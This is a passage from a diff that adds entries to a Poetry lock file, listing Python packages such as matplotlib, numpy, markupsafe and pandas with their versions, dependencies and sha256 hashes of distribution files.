+ {file = "markdown_it_py-2.2.0-py3-none-any.whl", hash = "sha256:5a35f8d1870171d9acc47b99612dc146129b631baf04970128b568f190d0cc30"},
+]
+
+[package.dependencies]
+mdurl = ">=0.1,<1.0"
+
+[package.extras]
+benchmarking = ["psutil", "pytest", "pytest-benchmark"]
+code-style = ["pre-commit (>=3.0,<4.0)"]
+compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"]
+linkify = ["linkify-it-py (>=1,<3)"]
+plugins = ["mdit-py-plugins"]
+profiling = ["gprof2dot"]
+rtd = ["attrs", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"]
+testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"]
+
+[[package]]
+name = "markdownlit"
+version = "0.0.7"
+description = "markdownlit adds a couple of lit Markdown capabilities to your Streamlit apps"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "markdownlit-0.0.7-py3-none-any.whl", hash = "sha256:b58bb539dcb52e0b040ab2fed32f1f3146cbb2746dc3812940d9dd359c378bb6"},
+ {file = "markdownlit-0.0.7.tar.gz", hash = "sha256:553e2db454e2be4567caebef5176c98a40a7e24f7ea9c2fe8a1f05c1d9ea4005"},
+]
+
+[package.dependencies]
+favicon = "*"
+htbuilder = "*"
+lxml = "*"
+markdown = "*"
+pymdown-extensions = "*"
+streamlit = "*"
+streamlit-extras = "*"
+
+[[package]]
+name = "markupsafe"
+version = "2.1.3"
+description = "Safely add untrusted strings to HTML/XML markup."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68e78619a61ecf91e76aa3e6e8e33fc4894a2bebe93410754bd28fce0a8a4f9f"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65c1a9bcdadc6c28eecee2c119465aebff8f7a584dd719facdd9e825ec61ab52"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:525808b8019e36eb524b8c68acdd63a37e75714eac50e988180b169d64480a00"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-win32.whl", hash = "sha256:10bbfe99883db80bdbaff2dcf681dfc6533a614f700da1287707e8a5d78a8431"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-win_amd64.whl", hash = "sha256:1577735524cdad32f9f694208aa75e422adba74f1baee7551620e43a3141f559"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3c0fae6c3be832a0a0473ac912810b2877c8cb9d76ca48de1ed31e1c68386575"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:338ae27d6b8745585f87218a3f23f1512dbf52c26c28e322dbe54bcede54ccb9"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5bbe06f8eeafd38e5d0a4894ffec89378b6c6a625ff57e3028921f8ff59318ac"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-win32.whl", hash = "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-win_amd64.whl", hash = "sha256:134da1eca9ec0ae528110ccc9e48041e0828d79f24121a1a146161103c76e686"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:56d9f2ecac662ca1611d183feb03a3fa4406469dafe241673d521dd5ae92a155"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-win32.whl", hash = "sha256:8758846a7e80910096950b67071243da3e5a20ed2546e6392603c096778d48e0"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-win_amd64.whl", hash = "sha256:787003c0ddb00500e49a10f2844fac87aa6ce977b90b0feaaf9de23c22508b24"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:2ef12179d3a291be237280175b542c07a36e7f60718296278d8593d21ca937d4"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:2c1b19b3aaacc6e57b7e25710ff571c24d6c3613a45e905b1fde04d691b98ee0"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8afafd99945ead6e075b973fefa56379c5b5c53fd8937dad92c662da5d8fd5ee"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c41976a29d078bb235fea9b2ecd3da465df42a562910f9022f1a03107bd02be"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:69c0f17e9f5a7afdf2cc9fb2d1ce6aabdb3bafb7f38017c0b77862bcec2bbad8"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:504b320cd4b7eff6f968eddf81127112db685e81f7e36e75f9f84f0df46041c3"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:42de32b22b6b804f42c5d98be4f7e5e977ecdd9ee9b660fda1a3edf03b11792d"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-win32.whl", hash = "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-win_amd64.whl", hash = "sha256:1b40069d487e7edb2676d3fbdb2b0829ffa2cd63a2ec26c4938b2d34391b4ecc"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8023faf4e01efadfa183e863fefde0046de576c6f14659e8782065bcece22198"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6b2b56950d93e41f33b4223ead100ea0fe11f8e6ee5f641eb753ce4b77a7042b"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:05fb21170423db021895e1ea1e1f3ab3adb85d1c2333cbc2310f2a26bc77272e"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:282c2cb35b5b673bbcadb33a585408104df04f14b2d9b01d4c345a3b92861c2c"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7ef3cb2ebbf91e330e3bb937efada0edd9003683db6b57bb108c4001f37a02ea"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0a4e4a1aff6c7ac4cd55792abf96c915634c2b97e3cc1c7129578aa68ebd754e"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-win32.whl", hash = "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-win_amd64.whl", hash = "sha256:3fd4abcb888d15a94f32b75d8fd18ee162ca0c064f35b11134be77050296d6ba"},
+ {file = "MarkupSafe-2.1.3.tar.gz", hash = "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad"},
+]
+
+[[package]]
+name = "matplotlib"
+version = "3.7.1"
+description = "Python plotting package"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "matplotlib-3.7.1-cp310-cp310-macosx_10_12_universal2.whl", hash = "sha256:95cbc13c1fc6844ab8812a525bbc237fa1470863ff3dace7352e910519e194b1"},
+ {file = "matplotlib-3.7.1-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:08308bae9e91aca1ec6fd6dda66237eef9f6294ddb17f0d0b3c863169bf82353"},
+ {file = "matplotlib-3.7.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:544764ba51900da4639c0f983b323d288f94f65f4024dc40ecb1542d74dc0500"},
+ {file = "matplotlib-3.7.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:56d94989191de3fcc4e002f93f7f1be5da476385dde410ddafbb70686acf00ea"},
+ {file = "matplotlib-3.7.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e99bc9e65901bb9a7ce5e7bb24af03675cbd7c70b30ac670aa263240635999a4"},
+ {file = "matplotlib-3.7.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb7d248c34a341cd4c31a06fd34d64306624c8cd8d0def7abb08792a5abfd556"},
+ {file = "matplotlib-3.7.1-cp310-cp310-win32.whl", hash = "sha256:ce463ce590f3825b52e9fe5c19a3c6a69fd7675a39d589e8b5fbe772272b3a24"},
+ {file = "matplotlib-3.7.1-cp310-cp310-win_amd64.whl", hash = "sha256:3d7bc90727351fb841e4d8ae620d2d86d8ed92b50473cd2b42ce9186104ecbba"},
+ {file = "matplotlib-3.7.1-cp311-cp311-macosx_10_12_universal2.whl", hash = "sha256:770a205966d641627fd5cf9d3cb4b6280a716522cd36b8b284a8eb1581310f61"},
+ {file = "matplotlib-3.7.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:f67bfdb83a8232cb7a92b869f9355d677bce24485c460b19d01970b64b2ed476"},
+ {file = "matplotlib-3.7.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2bf092f9210e105f414a043b92af583c98f50050559616930d884387d0772aba"},
+ {file = "matplotlib-3.7.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89768d84187f31717349c6bfadc0e0d8c321e8eb34522acec8a67b1236a66332"},
+ {file = "matplotlib-3.7.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:83111e6388dec67822e2534e13b243cc644c7494a4bb60584edbff91585a83c6"},
+ {file = "matplotlib-3.7.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a867bf73a7eb808ef2afbca03bcdb785dae09595fbe550e1bab0cd023eba3de0"},
+ {file = "matplotlib-3.7.1-cp311-cp311-win32.whl", hash = "sha256:fbdeeb58c0cf0595efe89c05c224e0a502d1aa6a8696e68a73c3efc6bc354304"},
+ {file = "matplotlib-3.7.1-cp311-cp311-win_amd64.whl", hash = "sha256:c0bd19c72ae53e6ab979f0ac6a3fafceb02d2ecafa023c5cca47acd934d10be7"},
+ {file = "matplotlib-3.7.1-cp38-cp38-macosx_10_12_universal2.whl", hash = "sha256:6eb88d87cb2c49af00d3bbc33a003f89fd9f78d318848da029383bfc08ecfbfb"},
+ {file = "matplotlib-3.7.1-cp38-cp38-macosx_10_12_x86_64.whl", hash = "sha256:cf0e4f727534b7b1457898c4f4ae838af1ef87c359b76dcd5330fa31893a3ac7"},
+ {file = "matplotlib-3.7.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:46a561d23b91f30bccfd25429c3c706afe7d73a5cc64ef2dfaf2b2ac47c1a5dc"},
+ {file = "matplotlib-3.7.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:8704726d33e9aa8a6d5215044b8d00804561971163563e6e6591f9dcf64340cc"},
+ {file = "matplotlib-3.7.1-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:4cf327e98ecf08fcbb82685acaf1939d3338548620ab8dfa02828706402c34de"},
+ {file = "matplotlib-3.7.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:617f14ae9d53292ece33f45cba8503494ee199a75b44de7717964f70637a36aa"},
+ {file = "matplotlib-3.7.1-cp38-cp38-win32.whl", hash = "sha256:7c9a4b2da6fac77bcc41b1ea95fadb314e92508bf5493ceff058e727e7ecf5b0"},
+ {file = "matplotlib-3.7.1-cp38-cp38-win_amd64.whl", hash = "sha256:14645aad967684e92fc349493fa10c08a6da514b3d03a5931a1bac26e6792bd1"},
+ {file = "matplotlib-3.7.1-cp39-cp39-macosx_10_12_universal2.whl", hash = "sha256:81a6b377ea444336538638d31fdb39af6be1a043ca5e343fe18d0f17e098770b"},
+ {file = "matplotlib-3.7.1-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:28506a03bd7f3fe59cd3cd4ceb2a8d8a2b1db41afede01f66c42561b9be7b4b7"},
+ {file = "matplotlib-3.7.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8c587963b85ce41e0a8af53b9b2de8dddbf5ece4c34553f7bd9d066148dc719c"},
+ {file = "matplotlib-3.7.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8bf26ade3ff0f27668989d98c8435ce9327d24cffb7f07d24ef609e33d582439"},
+ {file = "matplotlib-3.7.1-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:def58098f96a05f90af7e92fd127d21a287068202aa43b2a93476170ebd99e87"},
+ {file = "matplotlib-3.7.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f883a22a56a84dba3b588696a2b8a1ab0d2c3d41be53264115c71b0a942d8fdb"},
+ {file = "matplotlib-3.7.1-cp39-cp39-win32.whl", hash = "sha256:4f99e1b234c30c1e9714610eb0c6d2f11809c9c78c984a613ae539ea2ad2eb4b"},
+ {file = "matplotlib-3.7.1-cp39-cp39-win_amd64.whl", hash = "sha256:3ba2af245e36990facf67fde840a760128ddd71210b2ab6406e640188d69d136"},
+ {file = "matplotlib-3.7.1-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:3032884084f541163f295db8a6536e0abb0db464008fadca6c98aaf84ccf4717"},
+ {file = "matplotlib-3.7.1-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3a2cb34336110e0ed8bb4f650e817eed61fa064acbefeb3591f1b33e3a84fd96"},
+ {file = "matplotlib-3.7.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b867e2f952ed592237a1828f027d332d8ee219ad722345b79a001f49df0936eb"},
+ {file = "matplotlib-3.7.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:57bfb8c8ea253be947ccb2bc2d1bb3862c2bccc662ad1b4626e1f5e004557042"},
+ {file = "matplotlib-3.7.1-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:438196cdf5dc8d39b50a45cb6e3f6274edbcf2254f85fa9b895bf85851c3a613"},
+ {file = "matplotlib-3.7.1-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:21e9cff1a58d42e74d01153360de92b326708fb205250150018a52c70f43c290"},
+ {file = "matplotlib-3.7.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75d4725d70b7c03e082bbb8a34639ede17f333d7247f56caceb3801cb6ff703d"},
+ {file = "matplotlib-3.7.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:97cc368a7268141afb5690760921765ed34867ffb9655dd325ed207af85c7529"},
+ {file = "matplotlib-3.7.1.tar.gz", hash = "sha256:7b73305f25eab4541bd7ee0b96d87e53ae9c9f1823be5659b806cd85786fe882"},
+]
+
+[package.dependencies]
+contourpy = ">=1.0.1"
+cycler = ">=0.10"
+fonttools = ">=4.22.0"
+kiwisolver = ">=1.0.1"
+numpy = ">=1.20"
+packaging = ">=20.0"
+pillow = ">=6.2.0"
+pyparsing = ">=2.3.1"
+python-dateutil = ">=2.7"
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+description = "Markdown URL utilities"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"},
+ {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"},
+]
+
+[[package]]
+name = "more-itertools"
+version = "9.1.0"
+description = "More routines for operating on iterables, beyond itertools"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "more-itertools-9.1.0.tar.gz", hash = "sha256:cabaa341ad0389ea83c17a94566a53ae4c9d07349861ecb14dc6d0345cf9ac5d"},
+ {file = "more_itertools-9.1.0-py3-none-any.whl", hash = "sha256:d2bc7f02446e86a68911e58ded76d6561eea00cddfb2a91e7019bbb586c799f3"},
+]
+
+[[package]]
+name = "numpy"
+version = "1.24.3"
+description = "Fundamental package for array computing in Python"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "numpy-1.24.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3c1104d3c036fb81ab923f507536daedc718d0ad5a8707c6061cdfd6d184e570"},
+ {file = "numpy-1.24.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:202de8f38fc4a45a3eea4b63e2f376e5f2dc64ef0fa692838e31a808520efaf7"},
+ {file = "numpy-1.24.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8535303847b89aa6b0f00aa1dc62867b5a32923e4d1681a35b5eef2d9591a463"},
+ {file = "numpy-1.24.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d926b52ba1367f9acb76b0df6ed21f0b16a1ad87c6720a1121674e5cf63e2b6"},
+ {file = "numpy-1.24.3-cp310-cp310-win32.whl", hash = "sha256:f21c442fdd2805e91799fbe044a7b999b8571bb0ab0f7850d0cb9641a687092b"},
+ {file = "numpy-1.24.3-cp310-cp310-win_amd64.whl", hash = "sha256:ab5f23af8c16022663a652d3b25dcdc272ac3f83c3af4c02eb8b824e6b3ab9d7"},
+ {file = "numpy-1.24.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9a7721ec204d3a237225db3e194c25268faf92e19338a35f3a224469cb6039a3"},
+ {file = "numpy-1.24.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d6cc757de514c00b24ae8cf5c876af2a7c3df189028d68c0cb4eaa9cd5afc2bf"},
+ {file = "numpy-1.24.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76e3f4e85fc5d4fd311f6e9b794d0c00e7002ec122be271f2019d63376f1d385"},
+ {file = "numpy-1.24.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1d3c026f57ceaad42f8231305d4653d5f05dc6332a730ae5c0bea3513de0950"},
+ {file = "numpy-1.24.3-cp311-cp311-win32.whl", hash = "sha256:c91c4afd8abc3908e00a44b2672718905b8611503f7ff87390cc0ac3423fb096"},
+ {file = "numpy-1.24.3-cp311-cp311-win_amd64.whl", hash = "sha256:5342cf6aad47943286afa6f1609cad9b4266a05e7f2ec408e2cf7aea7ff69d80"},
+ {file = "numpy-1.24.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7776ea65423ca6a15255ba1872d82d207bd1e09f6d0894ee4a64678dd2204078"},
+ {file = "numpy-1.24.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ae8d0be48d1b6ed82588934aaaa179875e7dc4f3d84da18d7eae6eb3f06c242c"},
+ {file = "numpy-1.24.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ecde0f8adef7dfdec993fd54b0f78183051b6580f606111a6d789cd14c61ea0c"},
+ {file = "numpy-1.24.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4749e053a29364d3452c034827102ee100986903263e89884922ef01a0a6fd2f"},
+ {file = "numpy-1.24.3-cp38-cp38-win32.whl", hash = "sha256:d933fabd8f6a319e8530d0de4fcc2e6a61917e0b0c271fded460032db42a0fe4"},
+ {file = "numpy-1.24.3-cp38-cp38-win_amd64.whl", hash = "sha256:56e48aec79ae238f6e4395886b5eaed058abb7231fb3361ddd7bfdf4eed54289"},
+ {file = "numpy-1.24.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4719d5aefb5189f50887773699eaf94e7d1e02bf36c1a9d353d9f46703758ca4"},
+ {file = "numpy-1.24.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0ec87a7084caa559c36e0a2309e4ecb1baa03b687201d0a847c8b0ed476a7187"},
+ {file = "numpy-1.24.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea8282b9bcfe2b5e7d491d0bf7f3e2da29700cec05b49e64d6246923329f2b02"},
+ {file = "numpy-1.24.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:210461d87fb02a84ef243cac5e814aad2b7f4be953b32cb53327bb49fd77fbb4"},
+ {file = "numpy-1.24.3-cp39-cp39-win32.whl", hash = "sha256:784c6da1a07818491b0ffd63c6bbe5a33deaa0e25a20e1b3ea20cf0e43f8046c"},
+ {file = "numpy-1.24.3-cp39-cp39-win_amd64.whl", hash = "sha256:d5036197ecae68d7f491fcdb4df90082b0d4960ca6599ba2659957aafced7c17"},
+ {file = "numpy-1.24.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:352ee00c7f8387b44d19f4cada524586f07379c0d49270f87233983bc5087ca0"},
+ {file = "numpy-1.24.3-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a7d6acc2e7524c9955e5c903160aa4ea083736fde7e91276b0e5d98e6332812"},
+ {file = "numpy-1.24.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:35400e6a8d102fd07c71ed7dcadd9eb62ee9a6e84ec159bd48c28235bbb0f8e4"},
+ {file = "numpy-1.24.3.tar.gz", hash = "sha256:ab344f1bf21f140adab8e47fdbc7c35a477dc01408791f8ba00d018dd0bc5155"},
+]
+
+[[package]]
+name = "packaging"
+version = "23.1"
+description = "Core utilities for Python packages"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"},
+ {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"},
+]
+
+[[package]]
+name = "pandas"
+version = "2.0.2"
+description = "Powerful data structures for data analysis, time series, and statistics"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "pandas-2.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9ebb9f1c22ddb828e7fd017ea265a59d80461d5a79154b49a4207bd17514d122"},
+ {file = "pandas-2.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1eb09a242184092f424b2edd06eb2b99d06dc07eeddff9929e8667d4ed44e181"},
+ {file = "pandas-2.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c7319b6e68de14e6209460f72a8d1ef13c09fb3d3ef6c37c1e65b35d50b5c145"},
+ {file = "pandas-2.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd46bde7309088481b1cf9c58e3f0e204b9ff9e3244f441accd220dd3365ce7c"},
+ {file = "pandas-2.0.2-cp310-cp310-win32.whl", hash = "sha256:51a93d422fbb1bd04b67639ba4b5368dffc26923f3ea32a275d2cc450f1d1c86"},
+ {file = "pandas-2.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:66d00300f188fa5de73f92d5725ced162488f6dc6ad4cecfe4144ca29debe3b8"},
+ {file = "pandas-2.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:02755de164da6827764ceb3bbc5f64b35cb12394b1024fdf88704d0fa06e0e2f"},
+ {file = "pandas-2.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0a1e0576611641acde15c2322228d138258f236d14b749ad9af498ab69089e2d"},
+ {file = "pandas-2.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a6b5f14cd24a2ed06e14255ff40fe2ea0cfaef79a8dd68069b7ace74bd6acbba"},
+ {file = "pandas-2.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50e451932b3011b61d2961b4185382c92cc8c6ee4658dcd4f320687bb2d000ee"},
+ {file = "pandas-2.0.2-cp311-cp311-win32.whl", hash = "sha256:7b21cb72958fc49ad757685db1919021d99650d7aaba676576c9e88d3889d456"},
+ {file = "pandas-2.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:c4af689352c4fe3d75b2834933ee9d0ccdbf5d7a8a7264f0ce9524e877820c08"},
+ {file = "pandas-2.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:69167693cb8f9b3fc060956a5d0a0a8dbfed5f980d9fd2c306fb5b9c855c814c"},
+ {file = "pandas-2.0.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:30a89d0fec4263ccbf96f68592fd668939481854d2ff9da709d32a047689393b"},
